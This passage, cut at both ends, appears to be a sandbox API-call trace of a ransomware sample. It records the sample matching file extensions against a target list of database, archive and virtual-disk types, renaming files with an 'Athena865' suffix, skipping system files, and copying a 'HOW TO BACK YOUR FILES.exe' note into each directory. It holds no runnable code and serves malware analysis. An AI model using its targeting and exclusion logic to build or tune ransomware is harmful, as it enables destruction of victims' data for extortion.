lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0036.253] lstrlenW (lpString="mrg") returned 3 [0036.253] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0036.253] lstrlenW (lpString="mud") returned 3 [0036.253] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0036.253] lstrlenW (lpString="mwb") returned 3 [0036.253] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0036.253] lstrlenW (lpString="myd") returned 3 [0036.253] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0036.253] lstrlenW (lpString="ndf") returned 3 [0036.253] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0036.253] lstrlenW (lpString="nnt") returned 3 [0036.253] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0036.253] lstrlenW (lpString="nrmlib") returned 6 [0036.253] lstrcmpiW (lpString1="ay.exe", lpString2="nrmlib") returned -1 [0036.253] lstrlenW (lpString="ns2") returned 3 [0036.253] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0036.253] lstrlenW (lpString="ns3") returned 3 [0036.253] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0036.253] lstrlenW (lpString="ns4") returned 3 [0036.253] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0036.253] lstrlenW (lpString="nsf") returned 3 [0036.253] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0036.253] lstrlenW (lpString="nv") returned 2 [0036.253] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0036.253] lstrlenW (lpString="nv2") returned 3 [0036.253] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0036.253] lstrlenW (lpString="nwdb") returned 4 [0036.253] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0036.253] lstrlenW (lpString="nyf") returned 3 [0036.253] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0036.253] lstrlenW (lpString="odb") returned 3 [0036.253] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0036.253] lstrlenW (lpString="odb") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0036.254] lstrlenW (lpString="oqy") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0036.254] lstrlenW (lpString="ora") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0036.254] lstrlenW (lpString="orx") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0036.254] lstrlenW (lpString="owc") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0036.254] lstrlenW (lpString="p96") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0036.254] lstrlenW (lpString="p97") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0036.254] lstrlenW (lpString="pan") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0036.254] lstrlenW (lpString="pdb") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0036.254] lstrlenW (lpString="pdm") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0036.254] lstrlenW (lpString="pnz") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0036.254] lstrlenW (lpString="qry") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0036.254] lstrlenW (lpString="qvd") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0036.254] lstrlenW (lpString="rbf") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0036.254] lstrlenW (lpString="rctd") returned 4 [0036.254] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0036.254] lstrlenW (lpString="rod") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0036.254] lstrlenW (lpString="rodx") returned 4 [0036.254] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0036.254] lstrlenW (lpString="rpd") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0036.254] lstrlenW (lpString="rsd") returned 3 [0036.254] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0036.254] lstrlenW (lpString="sas7bdat") returned 8 [0036.255] lstrcmpiW (lpString1="rray.exe", lpString2="sas7bdat") returned -1 [0036.255] lstrlenW (lpString="sbf") returned 3 [0036.255] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0036.255] lstrlenW (lpString="scx") returned 3 [0036.255] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0036.255] lstrlenW (lpString="sdb") returned 3 [0036.255] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0036.255] lstrlenW (lpString="sdc") returned 3 [0036.255] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0036.255] lstrlenW (lpString="sdf") returned 3 [0036.255] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0036.255] lstrlenW (lpString="sis") returned 3 [0036.255] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0036.255] lstrlenW (lpString="spq") returned 3 [0036.255] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0036.255] lstrlenW (lpString="te") returned 2 [0036.255] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0036.255] lstrlenW (lpString="teacher") returned 7 [0036.255] lstrcmpiW (lpString1="ray.exe", lpString2="teacher") returned -1 [0036.255] lstrlenW (lpString="tmd") returned 3 [0036.255] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0036.255] lstrlenW (lpString="tps") returned 3 [0036.255] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0036.255] lstrlenW (lpString="trc") returned 3 [0036.255] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0036.255] lstrlenW (lpString="trc") returned 3 [0036.255] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0036.255] lstrlenW (lpString="trm") returned 3 [0036.255] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0036.255] lstrlenW (lpString="udb") returned 3 [0036.255] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0036.255] lstrlenW (lpString="udl") returned 3 [0036.255] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0036.255] lstrlenW (lpString="usr") returned 3 [0036.255] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0036.255] lstrlenW (lpString="v12") returned 3 [0036.255] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0036.256] lstrlenW (lpString="vis") returned 3 [0036.256] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0036.256] lstrlenW (lpString="vpd") returned 3 [0036.256] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0036.256] lstrlenW (lpString="vvv") returned 3 [0036.256] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0036.256] lstrlenW (lpString="wdb") returned 3 [0036.256] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0036.256] lstrlenW (lpString="wmdb") returned 4 [0036.256] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0036.256] lstrlenW (lpString="wrk") returned 3 [0036.256] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0036.256] lstrlenW (lpString="xdb") returned 3 [0036.256] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0036.256] lstrlenW (lpString="xld") returned 3 [0036.256] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0036.256] lstrlenW (lpString="xmlff") returned 5 [0036.256] lstrcmpiW (lpString1="y.exe", lpString2="xmlff") returned 1 [0036.256] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\server tutorial murray.exe.Athena865") returned 66 [0036.256] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\server tutorial murray.exe" (normalized: "c:\\program files\\common files\\server tutorial murray.exe"), lpNewFileName="C:\\Program Files\\Common Files\\server tutorial murray.exe.Athena865" (normalized: "c:\\program files\\common files\\server tutorial murray.exe.athena865"), dwFlags=0x1) returned 1 [0036.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\server tutorial murray.exe.Athena865" (normalized: "c:\\program files\\common files\\server tutorial murray.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0036.257] GetLastError () returned 0x20 [0036.257] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\server tutorial murray.exe CreateFile error 32\r\n") returned 86 [0036.257] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\server tutorial murray.exe CreateFile error 32\r\n") returned 86 [0036.257] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0036.258] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14e1 [0036.258] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x56, lpOverlapped=0x0) returned 1 [0036.258] CloseHandle (hObject=0x17c) returned 1 [0036.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\server tutorial murray.exe.Athena865" (normalized: "c:\\program files\\common files\\server tutorial murray.exe.athena865"), lpNewFileName="C:\\Program Files\\Common Files\\server tutorial murray.exe" (normalized: "c:\\program files\\common files\\server tutorial murray.exe"), dwFlags=0x1) returned 1 [0036.259] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0036.259] CloseHandle (hObject=0x0) returned 0 [0036.259] CloseHandle (hObject=0xffffffff) returned 0 [0036.259] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0036.259] lstrcmpiW (lpString1="Services", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.259] lstrcmpiW (lpString1="Services", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.259] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0036.259] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0036.259] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0036.259] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0036.259] lstrcmpiW (lpString1="Services", lpString2="temp") returned -1 [0036.259] lstrcmpiW (lpString1="Services", lpString2="pagefile.sys") returned 1 [0036.259] lstrcmpiW (lpString1="Services", lpString2="boot") returned 1 [0036.259] lstrcmpiW (lpString1="Services", lpString2="ids.txt") returned 1 [0036.259] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0036.260] lstrcmpiW (lpString1="Services", lpString2="perflogs") returned 1 [0036.260] lstrcmpiW (lpString1="Services", lpString2="MSBuild") returned 1 [0036.260] lstrlenW (lpString="Services") returned 8 [0036.260] lstrcpyW (in: lpString1=0x241e884, lpString2="Services" | out: lpString1="Services") returned="Services" [0036.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f6b8 [0036.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4e) returned 0x516160 [0036.260] lstrcatW (in: lpString1="Services", lpString2="\\" | out: lpString1="Services\\") returned="Services\\" [0036.260] lstrcatW (in: lpString1="Services\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Services\\HOW TO BACK YOUR FILES.exe") returned="Services\\HOW TO BACK YOUR FILES.exe" [0036.260] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\services\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.263] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0036.263] lstrcmpiW (lpString1="SpeechEngines", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.263] lstrcmpiW (lpString1="SpeechEngines", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.263] lstrcmpiW (lpString1="SpeechEngines", lpString2=".") returned 1 [0036.263] lstrcmpiW (lpString1="SpeechEngines", lpString2="..") returned 1 [0036.263] lstrcmpiW (lpString1="SpeechEngines", lpString2="windows") returned -1 [0036.263] lstrcmpiW (lpString1="SpeechEngines", lpString2="bootmgr") returned 1 [0036.263] lstrcmpiW (lpString1="SpeechEngines", lpString2="temp") returned -1 [0036.263] lstrcmpiW (lpString1="SpeechEngines", lpString2="pagefile.sys") returned 1 [0036.263] lstrcmpiW (lpString1="SpeechEngines", lpString2="boot") returned 1 [0036.263] lstrcmpiW (lpString1="SpeechEngines", lpString2="ids.txt") returned 1 [0036.263] lstrcmpiW (lpString1="SpeechEngines", lpString2="ntuser.dat") returned 1 [0036.263] lstrcmpiW (lpString1="SpeechEngines", lpString2="perflogs") returned 1 [0036.263] lstrcmpiW (lpString1="SpeechEngines", lpString2="MSBuild") returned 1 [0036.263] lstrlenW (lpString="SpeechEngines") returned 13 [0036.263] lstrcpyW (in: lpString1=0x241e884, lpString2="SpeechEngines" | out: lpString1="SpeechEngines") returned="SpeechEngines" [0036.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f6d0 [0036.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x528e90 [0036.263] lstrcatW (in: lpString1="SpeechEngines", lpString2="\\" | out: lpString1="SpeechEngines\\") returned="SpeechEngines\\" [0036.263] lstrcatW (in: lpString1="SpeechEngines\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SpeechEngines\\HOW TO BACK YOUR FILES.exe") returned="SpeechEngines\\HOW TO BACK YOUR FILES.exe" [0036.263] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\SpeechEngines\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\speechengines\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.265] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0036.265] lstrcmpiW (lpString1="System", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.265] lstrcmpiW (lpString1="System", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.265] lstrcmpiW (lpString1="System", lpString2=".") returned 1 [0036.265] lstrcmpiW (lpString1="System", lpString2="..") returned 1 [0036.265] lstrcmpiW (lpString1="System", lpString2="windows") returned -1 [0036.265] lstrcmpiW (lpString1="System", lpString2="bootmgr") returned 1 [0036.265] lstrcmpiW (lpString1="System", lpString2="temp") returned -1 [0036.265] lstrcmpiW (lpString1="System", lpString2="pagefile.sys") returned 1 [0036.265] lstrcmpiW (lpString1="System", lpString2="boot") returned 1 [0036.266] lstrcmpiW (lpString1="System", lpString2="ids.txt") returned 1 [0036.266] lstrcmpiW (lpString1="System", lpString2="ntuser.dat") returned 1 [0036.266] lstrcmpiW (lpString1="System", lpString2="perflogs") returned 1 [0036.266] lstrcmpiW (lpString1="System", lpString2="MSBuild") returned 1 [0036.266] lstrlenW (lpString="System") returned 6 [0036.266] lstrcpyW (in: lpString1=0x241e884, lpString2="System" | out: lpString1="System") returned="System" [0036.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f6e8 [0036.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4a) returned 0x5161b8 [0036.266] lstrcatW (in: lpString1="System", lpString2="\\" | out: lpString1="System\\") returned="System\\" [0036.266] lstrcatW (in: lpString1="System\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="System\\HOW TO BACK YOUR FILES.exe") returned="System\\HOW TO BACK YOUR FILES.exe" [0036.266] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.273] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0036.273] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0036.273] ReleaseMutex (hMutex=0xec) returned 1 [0036.273] CloseHandle (hObject=0xec) returned 1 [0036.273] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\DVD Maker" | out: lpString1="C:\\Program Files\\DVD Maker") returned="C:\\Program Files\\DVD Maker" [0036.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509668 | out: hHeap=0x4f0000) returned 1 [0036.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c2c0 | out: hHeap=0x4f0000) returned 1 [0036.273] lstrlenW (lpString="C:\\Program Files\\DVD Maker") returned 26 [0036.273] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0AEE63FFFC0D2925C4BC3E2F53DCF9DA") returned 0xec [0036.274] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0036.274] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker" | out: lpString1="C:\\Program Files\\DVD Maker") returned="C:\\Program Files\\DVD Maker" [0036.274] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0036.274] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.274] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0036.274] GetLastError () returned 0x0 [0036.274] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0036.274] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0036.274] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0036.274] CloseHandle (hObject=0xf4) returned 1 [0036.274] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.274] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0036.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc3f3bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3f3bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0036.275] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.275] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.275] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0036.275] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc3f3bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3f3bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.275] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.275] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.275] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0036.275] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0036.275] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0036.275] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.275] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.275] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2=".") returned 1 [0036.275] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="..") returned 1 [0036.275] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="windows") returned -1 [0036.275] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="bootmgr") returned -1 [0036.275] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="temp") returned -1 [0036.275] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="pagefile.sys") returned -1 [0036.275] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="boot") returned -1 [0036.275] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="ids.txt") returned -1 [0036.275] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="ntuser.dat") returned -1 [0036.275] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="perflogs") returned -1 [0036.275] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="MSBuild") returned -1 [0036.275] lstrlenW (lpString="audiodepthconverter.ax") returned 22 [0036.275] lstrcpyW (in: lpString1=0x241e87e, lpString2="audiodepthconverter.ax" | out: lpString1="audiodepthconverter.ax") returned="audiodepthconverter.ax" [0036.275] lstrlenW (lpString="audiodepthconverter.ax") returned 22 [0036.275] lstrlenW (lpString="Athena865") returned 9 [0036.275] lstrcmpiW (lpString1="verter.ax", lpString2="Athena865") returned 1 [0036.275] lstrlenW (lpString=".dll") returned 4 [0036.275] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2=".dll") returned 1 [0036.276] lstrlenW (lpString=".lnk") returned 4 [0036.276] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2=".lnk") returned 1 [0036.276] lstrlenW (lpString=".ini") returned 4 [0036.276] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2=".ini") returned 1 [0036.276] lstrlenW (lpString=".sys") returned 4 [0036.276] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2=".sys") returned 1 [0036.276] lstrlenW (lpString="audiodepthconverter.ax") returned 22 [0036.276] lstrlenW (lpString="bak") returned 3 [0036.276] lstrcmpiW (lpString1=".ax", lpString2="bak") returned -1 [0036.276] lstrlenW (lpString="ba_") returned 3 [0036.276] lstrcmpiW (lpString1=".ax", lpString2="ba_") returned -1 [0036.276] lstrlenW (lpString="dbb") returned 3 [0036.276] lstrcmpiW (lpString1=".ax", lpString2="dbb") returned -1 [0036.276] lstrlenW (lpString="vmdk") returned 4 [0036.276] lstrcmpiW (lpString1="r.ax", lpString2="vmdk") returned -1 [0036.276] lstrlenW (lpString="rar") returned 3 [0036.276] lstrcmpiW (lpString1=".ax", lpString2="rar") returned -1 [0036.276] lstrlenW (lpString="zip") returned 3 [0036.276] lstrcmpiW (lpString1=".ax", lpString2="zip") returned -1 [0036.276] lstrlenW (lpString="tgz") returned 3 [0036.276] lstrcmpiW (lpString1=".ax", lpString2="tgz") returned -1 [0036.276] lstrlenW (lpString="vbox") returned 4 [0036.276] lstrcmpiW (lpString1="r.ax", lpString2="vbox") returned -1 [0036.276] lstrlenW (lpString="vdi") returned 3 [0036.276] lstrcmpiW (lpString1=".ax", lpString2="vdi") returned -1 [0036.276] lstrlenW (lpString="vhd") returned 3 [0036.276] lstrcmpiW (lpString1=".ax", lpString2="vhd") returned -1 [0036.276] lstrlenW (lpString="vhdx") returned 4 [0036.276] lstrcmpiW (lpString1="r.ax", lpString2="vhdx") returned -1 [0036.276] lstrlenW (lpString="avhd") returned 4 [0036.276] lstrcmpiW (lpString1="r.ax", lpString2="avhd") returned 1 [0036.276] lstrlenW (lpString="db") returned 2 [0036.277] lstrcmpiW (lpString1="ax", lpString2="db") returned -1 [0036.277] lstrlenW (lpString="db2") returned 3 [0036.277] lstrcmpiW (lpString1=".ax", lpString2="db2") returned -1 [0036.277] lstrlenW (lpString="db3") returned 3 [0036.277] lstrcmpiW (lpString1=".ax", lpString2="db3") returned -1 [0036.277] lstrlenW (lpString="dbf") returned 3 [0036.277] lstrcmpiW (lpString1=".ax", lpString2="dbf") returned -1 [0036.277] lstrlenW (lpString="mdf") returned 3 [0036.277] lstrcmpiW (lpString1=".ax", lpString2="mdf") returned -1 [0036.277] lstrlenW (lpString="mdb") returned 3 [0036.277] lstrcmpiW (lpString1=".ax", lpString2="mdb") returned -1 [0036.277] lstrlenW (lpString="sql") returned 3 [0036.277] lstrcmpiW (lpString1=".ax", lpString2="sql") returned -1 [0036.277] lstrlenW (lpString="sqlite") returned 6 [0036.277] lstrcmpiW (lpString1="ter.ax", lpString2="sqlite") returned 1 [0036.277] lstrlenW 